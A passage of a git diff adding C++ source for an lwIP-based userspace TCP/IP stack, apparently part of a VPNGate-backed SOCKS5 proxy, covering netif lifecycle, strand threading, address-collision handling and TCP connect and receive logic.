LOG_DEBUG(kMod, "reusing the already-initialized lwIP core"); + } + g_stack_live = true; + schedule_timer(); +} + +Stack::~Stack() { + stopping_ = true; + timer_.cancel(); + g_stack_live = false; +} + +void Stack::stop() { + // On the strand: on_timer reads and re-arms from there, and flipping the flag + // underneath it is the one interleaving where a cancelled timer immediately + // schedules itself again. A handler already queued when the cancel lands + // still runs, sees stopping_, and returns without re-arming. + asio::post(strand_, [this] { + if (stopping_) return; + stopping_ = true; + timer_.cancel(); + LOG_DEBUG(kMod, "lwIP timer stopped"); + }); +} + +void Stack::schedule_timer() { + if (stopping_) return; + + const u32_t sleep_ms = sys_timeouts_sleeptime(); + std::chrono::milliseconds d = kMaxTimerIdle; + if (sleep_ms != SYS_TIMEOUTS_SLEEPTIME_INFINITE) { + d = std::clamp(std::chrono::milliseconds(sleep_ms), kMinTimerIdle, + kMaxTimerIdle); + } + timer_.expires_after(d); + timer_.async_wait(asio::bind_executor( + strand_, [this](const std::error_code &ec) { on_timer(ec); })); +} + +void Stack::on_timer(const std::error_code &ec) { + if (ec || stopping_) return; + sys_check_timeouts(); + schedule_timer(); +} + +bool Stack::claim_address(const IpAddress &a) { + std::lock_guard lk(mu_); + if (std::find(claimed_.begin(), claimed_.end(), a) != claimed_.end()) + return false; + claimed_.push_back(a); + return true; +} + +void Stack::release_address(const IpAddress &a) { + std::lock_guard lk(mu_); + claimed_.erase(std::remove(claimed_.begin(), claimed_.end(), a), + claimed_.end()); +} + +void Stack::async_attach(PacketLink &link, NetifConfig cfg, + const asio::any_io_executor &cb_ex, AttachHandler h) { + asio::post(strand_, [this, &link, cfg = std::move(cfg), cb_ex, + h = std::move(h)]() mutable { + auto fail = [&](std::error_code ec, const std::string &why) { + LOG_ERROR(kMod, "{}: cannot attach netif: {}", cfg.label, why); + asio::post(cb_ex, [h = std::move(h), ec] { h(ec, nullptr); }); + }; + + if (!cfg.address.valid() || !cfg.address.is_v4() || cfg.prefix <= 0 || + cfg.prefix > 32) { + fail(make_error_code(Error::ConfigInvalid), + "the server did not push a usable IPv4 address"); + return; + } + // Two tunnels on the same address are indistinguishable to lwIP's input + // path. Refusing here turns a silent misrouting bug into a clean error the + // switch controller can act on. + if (!claim_address(cfg.address)) { + fail(make_error_code(Error::ResourceExhausted), + fmt::format("address {} is already in use by another live tunnel; " + "a graceful switch is impossible between two nodes that " + "push the same address", + cfg.address.to_string())); + return; + } + + auto nif = Netif::create(*this, link, std::move(cfg), cb_ex); + std::string err; + if (!nif->bring_up(&err)) { + release_address(nif->cfg_.address); + const std::string label = nif->cfg_.label; + nif.reset(); + LOG_ERROR(kMod, "{}: cannot attach netif: {}", label, err); + asio::post(cb_ex, [h = std::move(h)] { + h(make_error_code(Error::TunnelSetupFailed), nullptr); + }); + return; + } + netifs_up()->add(1); + asio::post(cb_ex, [h = std::move(h), nif]() mutable { + h(std::error_code{}, std::move(nif)); + }); + }); +} + +Stack::GlobalStats Stack::global_stats() const { + // lwIP's counters are plain globals updated on the strand. Reading them from + // another thread is a benign race on values that are only ever used as coarse + // trend indicators; taking the strand for a metrics scrape is not worth it. + GlobalStats s; +#if TCP_STATS + s.tcp_segments_sent = lwip_stats.tcp.xmit; + s.tcp_segments_received = lwip_stats.tcp.recv; + s.tcp_drops = lwip_stats.tcp.drop; + s.tcp_checksum_errors = lwip_stats.tcp.chkerr; + s.tcp_memory_errors = lwip_stats.tcp.memerr; +#endif +#if IP_STATS + s.ip_drops = lwip_stats.ip.drop; + s.ip_checksum_errors = lwip_stats.ip.chkerr; +#endif +#if IPFRAG_STATS + s.reassembly_failures = lwip_stats.ip_frag.err + lwip_stats.ip_frag.drop; +#endif + { + std::lock_guard lk(mu_); + s.netifs = claimed_.size(); + } + return s; +} + +// --------------------------------------------------------------------------- +// Netif +// --------------------------------------------------------------------------- + +struct Netif::Impl { + struct netif nif {}; + bool added = false; + // Scratch for linearizing outbound pbuf chains. A member, not a stack array: + // netif output sits under every tcp_output call and a 4 KB frame on that path + // is stack we do not need to spend. + std::vector tx_buf; +}; + +Netif::Netif(Stack &stack, PacketLink &link, NetifConfig cfg, + asio::any_io_executor cb_ex) + : stack_(stack), + link_(link), + cfg_(std::move(cfg)), + cb_ex_(std::move(cb_ex)), + impl_(std::make_unique()) {} + +std::shared_ptr Netif::create(Stack &stack, PacketLink &link, + NetifConfig cfg, + asio::any_io_executor cb_ex) { + return std::shared_ptr( + new Netif(stack, link, std::move(cfg), std::move(cb_ex)), + detail::StrandDeleter{stack.strand()}); +} + +Netif::~Netif() { + // Runs on the strand (StrandDeleter), so touching lwIP here is safe. + tear_down(); +} + +struct netif *Netif::lwip_netif() { + return up_ ? &impl_->nif : nullptr; +} + +namespace { + +// lwIP calls these with the netif; `state` is the owning Netif. +err_t netif_output_cb(struct netif *nif, struct pbuf *p, const ip4_addr_t *) { + auto *self = static_cast(nif->state); + return self->transmit_from_lwip(p) ? ERR_OK : ERR_MEM; +} + +err_t netif_init_cb(struct netif *nif) { + auto *self = static_cast(nif->state); + nif->name[0] = 'o'; + nif->name[1] = 'v'; + nif->output = netif_output_cb; + nif->linkoutput = nullptr; // layer 3 only: no ethernet underneath + nif->mtu = static_cast(self->mtu()); + nif->hwaddr_len = 0; + // No NETIF_FLAG_BROADCAST and no NETIF_FLAG_ETHARP: this is a point-to-point + // layer-3 link, so there is no link-layer address to resolve and nothing to + // broadcast to. + nif->flags = NETIF_FLAG_LINK_UP; + return ERR_OK; +} + +} // namespace + +bool Netif::bring_up(std::string *err) { + if (up_) return true; + + const ip4_addr_t addr = to_lwip(cfg_.address); + const ip4_addr_t mask = netmask_for(cfg_.prefix); + const ip4_addr_t gw = + cfg_.gateway.valid() && cfg_.gateway.is_v4() ? to_lwip(cfg_.gateway) + : ip4_addr_t{}; + + if (cfg_.mtu < 576 || cfg_.mtu > 9000) { + // 576 is the IPv4 minimum reassembly buffer; anything under it is a pushed + // value we should not trust more than the default. + LOG_WARN(kMod, "{}: server pushed mtu={}, using 1500", cfg_.label, + cfg_.mtu); + cfg_.mtu = 1500; + } + impl_->tx_buf.resize(link_.max_packet_size()); + rx_buf_.resize(link_.max_packet_size()); + + impl_->nif.state = this; + if (netif_add(&impl_->nif, &addr, &mask, &gw, this, netif_init_cb, + ip4_input) == nullptr) { + if (err) *err = "netif_add failed"; + return false; + } + impl_->added = true; + netif_set_link_up(&impl_->nif); + netif_set_up(&impl_->nif); + // The newest tunnel becomes the default route. Every PCB is pinned to its own + // netif (tcp_bind_netif / udp_bind_netif), so the default only decides where + // unbound traffic goes -- but leaving it pointing at a tunnel that is being + // drained would be the wrong answer for anything that slips through. + netif_set_default(&impl_->nif); + up_ = true; + + LOG_INFO(kMod, + "{}: netif up: {}/{} gw={} mtu={} dns=[{}] (lwip idx {})", + cfg_.label, cfg_.address.to_string(), cfg_.prefix, + cfg_.gateway.valid() ? cfg_.gateway.to_string() : "none", cfg_.mtu, + [&] { + std::string s; + for (const auto &d : cfg_.dns) { + if (!s.empty()) s += ", "; + s += d.to_string(); + } + return s.empty() ? "none" : s; + }(), + netif_get_index(&impl_->nif)); + + arm_receive(); + return true; +} + +void Netif::tear_down() { + if (!up_) return; + up_ = false; + + // Abort survivors first: they hold PCBs bound to this netif, and removing the + // netif underneath a live PCB is exactly the kind of dangling reference lwIP + // will not diagnose for us. + const auto reason = make_error_code(Error::EgressGone); + auto children = std::move(children_); + children_.clear(); + size_t aborted = 0; + for (auto &w : children) { + if (auto c = w.lock()) { + c->abort_from_netif(reason); + ++aborted; + } + } + + link_.cancel(); + + if (impl_->added) { + netif_set_down(&impl_->nif); + netif_remove(&impl_->nif); + impl_->added = false; + } + stack_.release_address(cfg_.address); + netifs_up()->sub(1); + + // netif_remove clears netif_default if it pointed here; hand it to whatever + // is left so an unbound send still has somewhere to go. + if (netif_default == nullptr) { + struct netif *first = netif_list; + if (first != nullptr) netif_set_default(first); + } + + const Stats s = stats(); + LOG_INFO(kMod, + "{}: netif down: rx={} pkts/{} B tx={} pkts/{} B " + "(tx_dropped={} rx_malformed={} rx_dropped={}), aborted {} live " + "connection(s)", + cfg_.label, s.rx_packets, s.rx_bytes, s.tx_packets, s.tx_bytes, + s.tx_dropped, s.rx_malformed, s.rx_dropped, aborted); +} + +void Netif::shutdown(std::function on_done) { + auto self = shared_from_this(); + asio::post(stack_.strand(), [self, on_done = std::move(on_done)]() mutable { + self->tear_down(); + if (on_done) asio::post(self->cb_ex_, std::move(on_done)); + }); +} + +bool Netif::is_up() const { return up_; } + +void Netif::arm_receive() { + if (!up_ || receiving_ || !link_.is_open()) return; + receiving_ = true; + auto self = shared_from_this(); + link_.async_receive( + asio::buffer(rx_buf_), stack_.strand(), + [self](const std::error_code &ec, size_t n) { self->on_packet(ec, n); }); +} + +void Netif::on_packet(const std::error_code &ec, size_t n) { + receiving_ = false; + if (!up_) return; + + if (ec) { + if (ec != asio::error::operation_aborted) { + LOG_WARN(kMod, "{}: tunnel read failed: {}", cfg_.label, ec.message()); + } + // The link is gone; the egress layer notices through the tunnel's own state + // machine and tears us down. Not re-arming is what stops the spin. + return; + } + + { + std::lock_guard lk(stats_mu_); + stats_.rx_packets++; + stats_.rx_bytes += n; + } + rx_packets()->inc(); + + // The first nibble decides. IPv6 lands here whenever a server pushes a v6 + // route we did not ask for; lwIP is compiled v4-only so it goes in the bin, + // counted, without pretending it was corruption. + const bool ok_v4 = n >= 20 && (rx_buf_[0] >> 4) == 4; + if (!ok_v4) { + { + std::lock_guard lk(stats_mu_); + stats_.rx_malformed++; + } + rx_malformed()->inc(); + LOG_TRACE(kMod, "{}: dropped a {}-byte non-IPv4 packet (version nibble {})", + cfg_.label, n, n > 0 ? (rx_buf_[0] >> 4) : 0); + arm_receive(); + return; + } + + pbuf *p = pbuf_alloc(PBUF_RAW, static_cast(n), PBUF_RAM); + if (p == nullptr) { + std::lock_guard lk(stats_mu_); + stats_.rx_dropped++; + } else { + std::memcpy(p->payload, rx_buf_.data(), n); + if (impl_->nif.input(p, &impl_->nif) != ERR_OK) { + pbuf_free(p); + std::lock_guard lk(stats_mu_); + stats_.rx_dropped++; + } + } + + // One packet per reactor wakeup. Batching with recvmmsg would cut syscalls at + // high packet rates; it is deliberately not done yet because it would push a + // second framing concept into PacketLink for a bottleneck we have not + // measured. See docs/FEASIBILITY.md 4.2 for where the real ceiling is. + arm_receive(); +} + +bool Netif::transmit_from_lwip(pbuf *p) { + const size_t len = p->tot_len; + if (len == 0 || len > impl_->tx_buf.size()) { + std::lock_guard lk(stats_mu_); + stats_.tx_dropped++; + return false; + } + + const void *data; + if (p->next == nullptr) { + data = p->payload; // single pbuf: the common case, no copy + } else { + pbuf_copy_partial(p, impl_->tx_buf.data(), static_cast(len), 0); + data = impl_->tx_buf.data(); + } + + const bool sent = link_.send_packet(data, len); + { + std::lock_guard lk(stats_mu_); + if (sent) { + stats_.tx_packets++; + stats_.tx_bytes += len; + } else { + stats_.tx_dropped++; + } + } + if (sent) { + tx_packets()->inc(); + } else { + tx_dropped()->inc(); + } + return sent; +} + +void Netif::register_child(const std::shared_ptr &c) { + // Compact opportunistically: the vector is only walked at shutdown, so the + // only thing that matters is that expired entries cannot accumulate without + // bound over the life of a long-running tunnel. + if (children_.size() >= 64 && children_.size() % 64 == 0) { + children_.erase(std::remove_if(children_.begin(), children_.end(), + [](const std::weak_ptr &w) { + return w.expired(); + }), + children_.end()); + } + children_.push_back(c); +} + +void Netif::note_tcp_opened(bool ok) { + std::lock_guard lk(stats_mu_); + if (ok) { + stats_.tcp_opened++; + stats_.tcp_active++; + } else { + stats_.tcp_failed++; + } +} + +void Netif::note_tcp_closed() { + std::lock_guard lk(stats_mu_); + if (stats_.tcp_active > 0) stats_.tcp_active--; +} + +void Netif::note_udp(int delta) { + std::lock_guard lk(stats_mu_); + stats_.udp_active += delta; +} + +Netif::Stats Netif::stats() const { + std::lock_guard lk(stats_mu_); + return stats_; +} + +void Netif::async_connect_tcp(const IpAddress &addr, uint16_t port, + Millis timeout, + const asio::any_io_executor &cb_ex, + ConnectHandler h) { + auto self = shared_from_this(); + asio::post(stack_.strand(), [self, addr, port, timeout, cb_ex, + h = std::move(h)]() mutable { + if (!self->up_) { + asio::post(cb_ex, [h = std::move(h)] { + h(make_error_code(Error::EgressGone), nullptr); + }); + return; + } + if (!addr.valid() || !addr.is_v4()) { + // IPv6 never reaches here: the SOCKS5 layer refuses it earlier with + // "address type not supported". This is the backstop. + asio::post(cb_ex, [h = std::move(h)] { + h(make_error_code(Error::NotSupported), nullptr); + }); + return; + } + + auto stream = LwipTcpStream::create(self, cb_ex); + self->register_child(stream); + stream->start_connect(addr, port, timeout, + [stream, cb_ex, h = std::move(h)]( + const std::error_code &ec) mutable { + if (ec) { + asio::post(cb_ex, [h = std::move(h), ec] { + h(ec, nullptr); + }); + return; + } + asio::post(cb_ex, + [h = std::move(h), stream]() mutable { + h(std::error_code{}, + std::move(stream)); + }); + }); + }); +} + +void Netif::async_open_udp(const asio::any_io_executor &cb_ex, + OpenUdpHandler h) { + auto self = shared_from_this(); + asio::post(stack_.strand(), [self, cb_ex, h = std::move(h)]() mutable { + if (!self->up_) { + asio::post(cb_ex, [h = std::move(h)] { + h(make_error_code(Error::EgressGone), nullptr); + }); + return; + } + auto sock = LwipUdpSocket::create(self, cb_ex); + std::error_code ec = sock->bind_ephemeral(); + if (ec) { + asio::post(cb_ex, [h = std::move(h), ec] { h(ec, nullptr); }); + return; + } + self->register_child(sock); + asio::post(cb_ex, [h = std::move(h), sock]() mutable { + h(std::error_code{}, std::move(sock)); + }); + }); +} + +std::shared_ptr Netif::resolver() { + std::lock_guard lk(resolver_mu_); + if (auto r = resolver_.lock()) return r; + auto r = DnsResolver::create(shared_from_this(), stack_.dns_config()); + resolver_ = r; + return r; +} + +} // namespace ovg::netstack diff --git a/src/netstack/lwip_stack.h b/src/netstack/lwip_stack.h new file mode 100644 index 0000000..679fc21 --- /dev/null +++ b/src/netstack/lwip_stack.h @@ -0,0 +1,311 @@ +// The userspace TCP/IP stack: lwIP lifecycle, one netif per live tunnel. +// +// --------------------------------------------------------------------------- +// Threading +// --------------------------------------------------------------------------- +// lwIP built with NO_SYS=1 has no locking whatsoever. Every call into it and +// every callback out of it must be serialized, so all of it runs on one asio +// strand -- Stack::strand(). Handlers the caller supplies run on the executor +// the caller passed in, never on the strand, so nothing above this module ever +// touches lwIP state. +// +// A strand rather than a dedicated thread: lwIP requires "no concurrency", not +// "the same thread", and a strand gives that plus the happens-before edges, +// without adding a thread or a second io_context to reason about. +// +// --------------------------------------------------------------------------- +// Why there can only be one Stack +// --------------------------------------------------------------------------- +// lwIP's state is file-scope globals: the netif list, tcp_active_pcbs, the +// timeout wheel, the memp pools. There is exactly one lwIP per process and no +// amount of wrapping changes that. The constructor enforces it rather than +// letting a second instance silently corrupt the first. +// +// This matters because make-before-break (docs/ARCHITECTURE.md 5) needs two +// tunnels alive at once. That works: one Stack, two Netifs, and every PCB +// pinned to its netif with tcp_bind_netif()/udp_bind_netif() so routing cannot +// send an old session's packets out the new tunnel. +// +// It works with one exception, and it is worth stating plainly. Attribution of +// *inbound* packets is by destination address, so two tunnels that push the +// same address are indistinguishable to lwIP. VPNGate servers hand out private +// addresses from a small set of ranges, so this is not hypothetical. Netif +// creation therefore rejects an address already in use, and the switch +// controller treats that rejection as "graceful drain is impossible here" and +// falls back to a hard switch -- which is the behaviour the requirements ask +// for when connections cannot be preserved. +// +// --------------------------------------------------------------------------- +// IPv6 +// --------------------------------------------------------------------------- +// Not supported. lwIP is compiled IPv4-only (see lwip_port/lwipopts.h): VPNGate +// nodes essentially never push a usable IPv6 prefix, and carrying a second +// address family through the netif, the resolver and the SOCKS5 layer would +// roughly double the surface for something no node exercises. An IPv6 target +// arriving over SOCKS5 is refused with "address type not supported" rather than +// being quietly resolved to something else. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/endpoint.h" +#include "common/strand_deleter.h" +#include "netstack/packet_link.h" +#include "netstack/stream.h" + +struct pbuf; +struct netif; + +namespace ovg::netstack { + +using ovg::Strand; + +class Netif; +class LwipTcpStream; +class LwipUdpSocket; +class DnsResolver; + +// Implemented by everything a Netif can own. The netif holds these weakly, so +// dropping the caller's reference still tears the connection down; this is only +// the handle it needs to reach survivors when the tunnel goes away underneath +// them. Called on the stack's strand. +class Closable { + public: + virtual ~Closable() = default; + virtual void abort_from_netif(const std::error_code &reason) = 0; +}; + +// Everything a netif needs, extracted from what the VPN server pushed. +struct NetifConfig { + IpAddress address; // our address inside the tunnel + int prefix = 0; // 1..32 + IpAddress gateway; // may be unset on a point-to-point link + int mtu = 1500; + std::vector dns; // in server priority order + std::string label; // node id; appears in every log line +}; + +class Stack { + public: + // Throws std::logic_error if another Stack is alive (see the header comment). + explicit Stack(asio::io_context &io, DnsConfig dns_cfg = {}); + ~Stack(); + + Stack(const Stack &) = delete; + Stack &operator=(const Stack &) = delete; + + // Stops the periodic timer, and with it the last thing keeping the + // io_context busy. + // + // The timer re-arms itself for as long as the stack is alive, which makes it + // outstanding io work that releasing a work guard cannot retire. The + // destructor cancels it -- but the destructor cannot run until run() returns, + // and run() will not return while the timer is pending. A process that has + // logged a picture-perfect graceful shutdown then sits there forever. So + // shutdown has to say so explicitly, here. + // + // Call it only once every netif is gone: lwIP's timers drive TCP + // retransmission and reassembly expiry, so a stack that has stopped ticking + // under a live stream stops retransmitting on it. Idempotent. + void stop(); + + const Strand &strand() const { return strand_; } + asio::io_context &io() { return io_; } + const DnsConfig &dns_config() const { return dns_cfg_; } + + using AttachHandler = + std::function)>; + + // Brings up a netif over `link` and starts its receive loop. `link` must + // outlive the returned Netif; in practice the same object owns both. + // + // Fails with ovg::Error::ResourceExhausted if `cfg.address` is already in use + // by a live netif -- see the address-collision note above. + void async_attach(PacketLink &link, NetifConfig cfg, + const asio::any_io_executor &cb_ex, AttachHandler h); + + // lwIP's global counters. Not per-netif -- lwIP does not track them that way + // -- so with two tunnels up these are the sum. The health monitor uses the + // delta over a window, where that is still a usable signal. + // + // There is no retransmit counter here because lwIP does not keep one: it + // increments tcp.xmit for original and retransmitted segments alike. The + // usable proxies for a degrading link are tcp_segments_sent rising while + // tcp_segments_received does not, and tcp_memory_errors climbing at all. + struct GlobalStats { + uint64_t tcp_segments_sent = 0; + uint64_t tcp_segments_received = 0; + uint64_t tcp_drops = 0; + uint64_t tcp_checksum_errors = 0; + uint64_t tcp_memory_errors = 0; + uint64_t ip_drops = 0; + uint64_t ip_checksum_errors = 0; + uint64_t reassembly_failures = 0; + size_t netifs = 0; + }; + GlobalStats global_stats() const; + + private: + friend class Netif; + + void schedule_timer(); + void on_timer(const std::error_code &ec); + + // Address bookkeeping, so collisions are caught before lwIP sees them. + // Guarded by mu_ because the admin endpoint reads it off-strand. + bool claim_address(const IpAddress &a); + void release_address(const IpAddress &a); + + asio::io_context &io_; + DnsConfig dns_cfg_; + Strand strand_; + asio::steady_timer timer_; + bool stopping_ = false; + + mutable std::mutex mu_; + std::vector claimed_; +}; + +// One tunnel's network interface, and the factory for everything that runs on +// it. Destroying it removes the lwIP netif and aborts every stream and socket +// still bound to it -- which is exactly what has to happen when a drained +// egress goes away. +class Netif : public std::enable_shared_from_this { + public: + ~Netif(); + + Netif(const Netif &) = delete; + Netif &operator=(const Netif &) = delete; + + using ConnectHandler = + std::function; + using OpenUdpHandler = + std::function; + + // `addr` must be a literal IPv4 address; names are the resolver's job. + void async_connect_tcp(const IpAddress &addr, uint16_t port, Millis timeout, + const asio::any_io_executor &cb_ex, ConnectHandler h); + + // Binds an ephemeral port on this netif's address. + void async_open_udp(const asio::any_io_executor &cb_ex, OpenUdpHandler h); + + // Shared, lazily created, backed by this netif's pushed DNS servers with the + // configured fallbacks appended. Safe to call from any thread. + // + // Held here weakly, so the caller owns it -- in practice the egress, for the + // tunnel's lifetime. That is not an ownership nicety: the resolver keeps a UDP + // socket, the socket keeps this netif alive, and a strong pointer here would + // close a reference cycle that no shutdown path could break. Dropping every + // reference costs a rebuilt cache on the next call and nothing else. + std::shared_ptr resolver(); + + // Refuses new streams and sockets, aborts the existing ones, removes the lwIP + // netif and stops the receive loop. Idempotent. `on_done` runs on the + // executor given at attach time once the netif is gone. + void shutdown(std::function on_done = {}); + bool is_up() const; + + const IpAddress &address() const { return cfg_.address; } + const IpAddress &gateway() const { return cfg_.gateway; } + const std::vector &dns_servers() const { return cfg_.dns; } + int mtu() const { return cfg_.mtu; } + const std::string &label() const { return cfg_.label; } + Stack &stack() const { return stack_; } + + struct Stats { + uint64_t rx_packets = 0; + uint64_t rx_bytes = 0; + uint64_t rx_malformed = 0; // not IPv4, or shorter than an IP header + uint64_t rx_dropped = 0; // lwIP refused it (no buffer, bad checksum) + uint64_t tx_packets = 0; + uint64_t tx_bytes = 0; + uint64_t tx_dropped = 0; // link's transmit queue was full + uint64_t tcp_opened = 0; + uint64_t tcp_failed = 0; + int64_t tcp_active = 0; + int64_t udp_active = 0; + }; + Stats stats() const; + + // netif->output. Public only because lwIP reaches it through a C function + // pointer, which cannot be a friend; not part of the interface callers use. + // Returns false when the link dropped the packet, which lwIP sees as ERR_MEM + // and retries -- the right answer, since a full transmit queue is congestion, + // not failure. + bool transmit_from_lwip(pbuf *p); + + private: + friend class Stack; + friend class LwipTcpStream; + friend class LwipUdpSocket; + friend class DnsResolver; + + struct Impl; // holds the lwIP netif; keeps lwip headers out of this file + + Netif(Stack &stack, PacketLink &link, NetifConfig cfg, + asio::any_io_executor cb_ex); + + // The lwIP netif, for the PCB pinning in lwip_tcp.cpp / lwip_udp.cpp. Only + // valid while up_; nullptr afterwards. Strand-only. Declared here rather than + // exposing Impl so that lwIP headers stay out of this file. + struct netif *lwip_netif(); + + static std::shared_ptr create(Stack &stack, PacketLink &link, + NetifConfig cfg, + asio::any_io_executor cb_ex); + + // Strand-only. + bool bring_up(std::string *err); + void tear_down(); + void arm_receive(); + void on_packet(const std::error_code &ec, size_t n); + void register_child(const std::shared_ptr &c); + void note_tcp_opened(bool ok); + void note_tcp_closed(); + void note_udp(int delta); + + Stack &stack_; + PacketLink &link_; + NetifConfig cfg_; + asio::any_io_executor cb_ex_; + std::unique_ptr impl_; + + std::vector rx_buf_; + bool up_ = false; + bool receiving_ = false; + + // Live streams and sockets, weakly held so that dropping the caller's + // reference still tears the connection down (see stream.h). Used only to + // reach them at shutdown. + std::vector> children_; + + mutable std::mutex stats_mu_; + Stats stats_; + + std::mutex resolver_mu_; + std::weak_ptr resolver_; // weak on purpose -- see resolver() +}; + +// lwIP err_t -> std::error_code, in one place so the mapping is consistent +// between the TCP, UDP and DNS paths. +std::error_code lwip_error(int8_t err); + +namespace detail { + +// Objects holding lwIP state must be destroyed on the strand, and never from +// inside an lwIP callback -- which is exactly what lets those callbacks carry a +// raw `this` pointer as their argument. See common/strand_deleter.h; the direct +// egress needs the same trick for the same shape of reason. +using ovg::StrandDeleter; + +} // namespace detail + +} // namespace ovg::netstack diff --git a/src/netstack/lwip_tcp.cpp b/src/netstack/lwip_tcp.cpp new file mode 100644 index 0000000..be15f30 --- /dev/null +++ b/src/netstack/lwip_tcp.cpp @@ -0,0 +1,569 @@ +#include "netstack/lwip_tcp.h" + +#include +#include + +#include "common/error.h" +#include "common/logging.h" + +extern "C" { +#include "lwip/ip_addr.h" +#include "lwip/pbuf.h" +#include "lwip/tcp.h" +} + +namespace ovg::netstack { +namespace { + +constexpr const char *kMod = "netstack"; + +// How often lwIP invokes the poll callback, in units of the coarse TCP timer +// (500 ms). Two ticks is one second: often enough to unstick a write that lost +// its "sent" callback to a dropped ACK, rare enough not to matter at 1000 +// connections. +constexpr uint8_t kPollInterval = 2; + +Endpoint endpoint_from(const ip_addr_t *a, uint16_t port) { + if (a == nullptr) return {}; + return Endpoint(IpAddress::from_v4(lwip_ntohl(ip_2_ip4(a)->addr)), port); +} + +// tcp_recved() takes a u16_t, but our receive window can be up to TCP_WND +// (64 KiB) and a single read can consume all of it -- which truncates to 0 and +// silently wedges the connection with a closed window. Chunk it. +void recved(tcp_pcb *pcb, size_t n) { + while (n > 0) { + const u16_t chunk = static_cast(std::min(n, 0xFFFFu)); + tcp_recved(pcb, chunk); + n -= chunk; + } +} + +} // namespace + +std::shared_ptr LwipTcpStream::create( + std::shared_ptr netif, asio::any_io_executor cb_ex) { + Strand strand = netif->stack().strand(); + return std::shared_ptr( + new LwipTcpStream(std::move(netif), std::move(cb_ex)), + detail::StrandDeleter{strand}); +} + +LwipTcpStream::LwipTcpStream(std::shared_ptr netif, + asio::any_io_executor cb_ex) + : netif_(std::move(netif)), + strand_(netif_->stack().strand()), + cb_ex_(std::move(cb_ex)), + timer_(strand_) {} + +LwipTcpStream::~LwipTcpStream() { + // On the strand, courtesy of StrandDeleter -- so an lwIP callback can never + // be running against this object right now. + if (counted_open_ && netif_) netif_->note_tcp_closed(); + detach_pcb(/*graceful=*/false); + drop_queued(); + + // Pending handlers must be answered even here. A caller that used a weak_ptr + // in its handler would otherwise wait forever for a completion that can no + // longer come. + const auto ec = make_error_code(Error::Cancelled); + if (read_h_) { + asio::post(cb_ex_, [h = std::move(read_h_), ec] { h(ec, 0); }); + } + if (write_h_) { + asio::post(cb_ex_, [h = std::move(write_h_), ec, n = write_done_] { + h(ec, n); + }); + } + if (connect_h_) { + asio::post(cb_ex_, [h = std::move(connect_h_), ec] { h(ec); }); + } +} + +// --------------------------------------------------------------------------- +// Connect +// --------------------------------------------------------------------------- + +void LwipTcpStream::start_connect(const IpAddress &addr, uint16_t port, + Millis timeout, ConnectHandler h) { + connect_h_ = std::move(h); + connecting_ = true; + + struct netif *nif = netif_->lwip_netif(); + if (nif == nullptr) { + // The tunnel went away between async_connect_tcp and this post. + finish_connect(make_error_code(Error::NotConnected)); + return; + } + + pcb_ = tcp_new_ip_type(IPADDR_TYPE_V4); + if (pcb_ == nullptr) { + netif_->note_tcp_opened(false); + finish_connect(make_error_code(Error::ResourceExhausted)); + return; + } + + tcp_arg(pcb_, this); + tcp_err(pcb_, &LwipTcpStream::s_err); + tcp_recv(pcb_, &LwipTcpStream::s_recv); + tcp_sent(pcb_, &LwipTcpStream::s_sent); + tcp_poll(pcb_, &LwipTcpStream::s_poll, kPollInterval); + + // The pin that makes two simultaneous tunnels work: without it, ip4_route() + // would send this connection's packets out whichever netif happens to be the + // default, which during a make-before-break switch is the *other* tunnel. + tcp_bind_netif(pcb_, nif); + + ip_addr_t dst; + ip_addr_set_ip4_u32(&dst, lwip_htonl(addr.v4_host_order())); + + const err_t err = tcp_connect(pcb_, &dst, port, &LwipTcpStream::s_connected); + if (err != ERR_OK) { + LOG_DEBUG(kMod, "{}: tcp_connect to {}:{} failed immediately: {}", + netif_->label(), addr.to_string(), port, lwip_error(err).message()); + netif_->note_tcp_opened(false); + detach_pcb(/*graceful=*/false); + finish_connect(lwip_error(err)); + return; + } + + // tcp_connect fills both in from the pinned netif (it consults netif_idx for + // the route *and* for the source address), so this is already final. + local_ = endpoint_from(&pcb_->local_ip, pcb_->local_port); + remote_ = Endpoint(addr, port); + + if (timeout.count() > 0) { + timer_.expires_after(timeout); + auto self = shared_from_this(); + timer_.async_wait([self](const std::error_code &ec) { + if (ec || !self->connecting_) return; + LOG_DEBUG(kMod, "{}: connect to {} timed out", self->netif_->label(), + self->remote_.to_string()); + self->netif_->note_tcp_opened(false); + self->detach_pcb(/*graceful=*/false); + self->finish_connect(make_error_code(Error::Timeout)); + }); + } +} + +void LwipTcpStream::finish_connect(const std::error_code &ec) { + if (!connecting_) return; + connecting_ = false; + timer_.cancel(); + if (!ec) { + open_.store(true, std::memory_order_release); + counted_open_ = true; + netif_->note_tcp_opened(true); + } else { + fatal_ = ec; + } + if (connect_h_) { + // Straight to the caller's executor: Netif::async_connect_tcp already + // arranged for the public handler to be posted from there. + auto h = std::move(connect_h_); + connect_h_ = nullptr; + h(ec); + } +} + +int8_t LwipTcpStream::s_connected(void *arg, tcp_pcb *pcb, int8_t err) { + auto *self = static_cast(arg); + if (self == nullptr) return ERR_OK; + if (err != ERR_OK) { + self->netif_->note_tcp_opened(false); + self->detach_pcb(/*graceful=*/false); + self->finish_connect(lwip_error(err)); + return ERR_OK; + } + self->local_ = endpoint_from(&pcb->local_ip, pcb->local_port); + LOG_TRACE(kMod, "{}: connected {} -> {}", self->netif_->label(), + self->local_.to_string(), self->remote_.to_string()); + self->finish_connect({}); + return ERR_OK; +} + +// --------------------------------------------------------------------------- +// Receive +// --------------------------------------------------------------------------- + +int8_t LwipTcpStream::s_recv(void *arg, tcp_pcb *pcb, pbuf *p, int8_t err) { + auto *self = static_cast(arg); + if (self == nullptr) { + // The stream detached but lwIP still had this pcb. Consume and move on. + if (p != nullptr) { + tcp_recved(pcb, p->tot_len); + pbuf_free(p); + } + return ERR_OK; + } + + if (err != ERR_OK) { + if (p != nullptr) pbuf_free(p); + self->fail(lwip_error(err)); + return ERR_OK; + } + + if (p == nullptr) { + // Peer sent FIN. Not an error: the send direction may still be open, and + // truncating it here is precisely the half-close bug this design avoids. + self->rx_eof_ = true; + self->pump_reader(); + return ERR_OK; + } + + self->rx_.fetch_add(p->tot_len, std::memory_order_relaxed); + self->queued_bytes_ += p->tot_len; + self->queue_.push_back(p); + // Deliberately no tcp_recved() here. The window stays closed until the + // consumer takes the bytes -- see the header comment. + self->pump_reader(); + return ERR_OK; +} + +void LwipTcpStream::async_read_some(asio::mutable_buffer buf, ReadHandler h) { + auto self = shared_from_this(); + asio::post(strand_, + [self, buf, h = std::move(h)]() mutable { + self->do_read(buf, std::move(h)); + }); +} + +void LwipTcpStream::do_read(asio::mutable_buffer buf, ReadHandler h) { + if (read_h_) { + 